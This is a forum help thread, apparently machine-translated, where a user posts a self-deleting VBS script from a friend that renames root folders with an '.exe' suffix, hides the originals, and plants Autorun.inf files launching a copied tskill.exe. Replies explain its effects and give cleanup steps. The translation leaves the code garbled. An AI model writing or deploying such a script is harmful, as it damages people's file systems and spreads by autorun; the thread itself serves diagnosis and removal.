Friend the whole I sent me a VBS file, double-click the file after disappear automatically, then the just like virus in the , the inside of the VBS code is

 On Error Resume Next 
The Set of fso=CreateObject (" Scripting. FileSystemObject ") 
Cx=Set fso. GetSpecialFolder (0) 
Fso. GetFile (WScript. ScriptFullName). The Delete (True) 
Do 
C=fso. GetParentFolderName (Cx) 
Set Fdrs=fso. GetFolder (C). The SubFolders 

For Each Fdr In Fdrs 
If Not fso. GetExtensionName (Fdr. Name)="exe" Then 
Fso. CreateFolder (C & amp; Fdr. Name & amp; ". Exe ") 
The Set fun=fso. GetFile (C & amp; "WINDOWS \ system32 \ tskill exe") 
Fun. The Attributes=6 
Fun. Copy (C & amp; Fdr. Name & amp; ". Exe \ fun. XLS. Exe ") 
Set auto=fso. CreateTextFile (C & amp; Fdr. Name & amp; ". Exe \ Autorun inf ") 
Auto. WriteLine (" [Autorun] ") 
Auto. WriteLine (" Open=fun. XLS. Exe ") 
Auto. Close 
Set auto=Nothing 
The Set fun=Nothing 
Fso. GetFolder (C & amp; Fdr. Name & amp; ". Exe "). The Attributes=Fdr. Attributes 
Fdr. Attributes=6 
End the If 
Next 

Cx=Nothing Set 
The Set of Fdrs=Nothing 

The Set DRVS=fso. Drives 
For Each DRV DRVS In 
If DRV. DriveType=2 Then 
If DRV & amp; "" Then=C 
The Else 
The Set Fdrs=fso. GetFolder (DRV) SubFolders 

For Each Fdr In Fdrs 
If Not fso. GetExtensionName (Fdr. Name)="exe" Then 
Fdr. Name=Fdr. Name & amp; ". Exe "
The Set fun=fso. GetFile (C & amp; "WINDOWS \ system32 \ tskill exe") 
Fun. Copy (DRV & amp; "" & amp; Fdr. Name & amp; "\ fun. XLS. Exe") 
Set auto=fso. CreateTextFile (DRV & amp; "" & amp; Fdr. Name & amp; "\ Autorun. J inf") 
Auto. WriteLine (" [Autorun] ") 
Auto. WriteLine (" Open=fun. XLS. Exe ") 
Auto. Close 
Set auto=Nothing 
The Set fun=Nothing 
End the If 
Next 

End the If 
End the If 
Next 
WScript. Sleep 60 * 1000 
Loop 

Ask god help me!!!

CodePudding user response:

Where are you in the computer tskill. Exe?

CodePudding user response:

This, as if also it's not a very serious problem,
Shutdown or restart your computer should be early, did not affect your system running now, just look at odds,

The solution is not difficult,
Step 1: "folder and search options" -> "view" TAB Settings:
The "hidden protected operating system files (recommended)" hook hook,
"Hidden files and folders" there to select show hidden files, folders and drives,

Step 2:
System disk: directly bring the root directory of the. Exe files deleted,
Other partitions: with the root directory. The exe directory name, remove the. Exe. Within the directory for Autorun. Inf and fun. XLS. Exe deleted directly,
Delete the two files, file name can be used to search the way to delete together directly,

Step 3: the processed folder above, according to your needs, to see if the "system, hidden attributes they are removed,
This may only use the command line to the operation, or write a batch, VBS script to handle, such as

CodePudding user response:

Indeed as expected have tskill, unused,
Words what this man, this is almost a devastating,

CodePudding user response:

reference sysdzw reply: 3/f

indeed as expected have tskill, unused,
Words what this man, this is almost a devastating,

I tried it on, in addition to the ugly, no other consequences,

CodePudding user response:

Tskill. Exe without parameters, run the also nothing important,

CodePudding user response:

reference 4 floor Chen8013 response:

Quote: reference sysdzw reply: 3/f

Indeed as expected have tskill, unused,
Words what this man, this is almost a devastating,

I tried it on, in addition to the ugly, no other consequences,

did not dare to try, looks directory names have changed, and if the system32 and Windows folders below were renamed aren't system problem?

CodePudding user response:

refer to 6th floor sysdzw response:

Quote: refer to 4th floor Chen8013 response:

Quote: refer to the third floor sysdzw response:

Indeed as expected have tskill, unused,
Words what this man, this is almost a devastating,

I tried it on, in addition to the ugly, no other consequences,

did not dare to try, looks directory names have changed, and if the system32 and Windows folders below have been renamed aren't system problems,

It just changed the root directory, this layer,
System32 and Windows is "in use", didn't also the way to change ah,

CodePudding user response:

As a masochist, a see what those trick code, also not hurriedly at the beginning of love experience?

CodePudding user response:

PE into the system, the VBS script change, repair,

CodePudding user response:

Moving the code to make the computer paralysis is worse than the black off the computer

CodePudding user response:

U disk boot reshipment system
The difficulty is not high should
Just a prank

CodePudding user response:

Change is good

CodePudding user response:

After the run some software will not be able to uninstall said can not find what

CodePudding user response:

6666666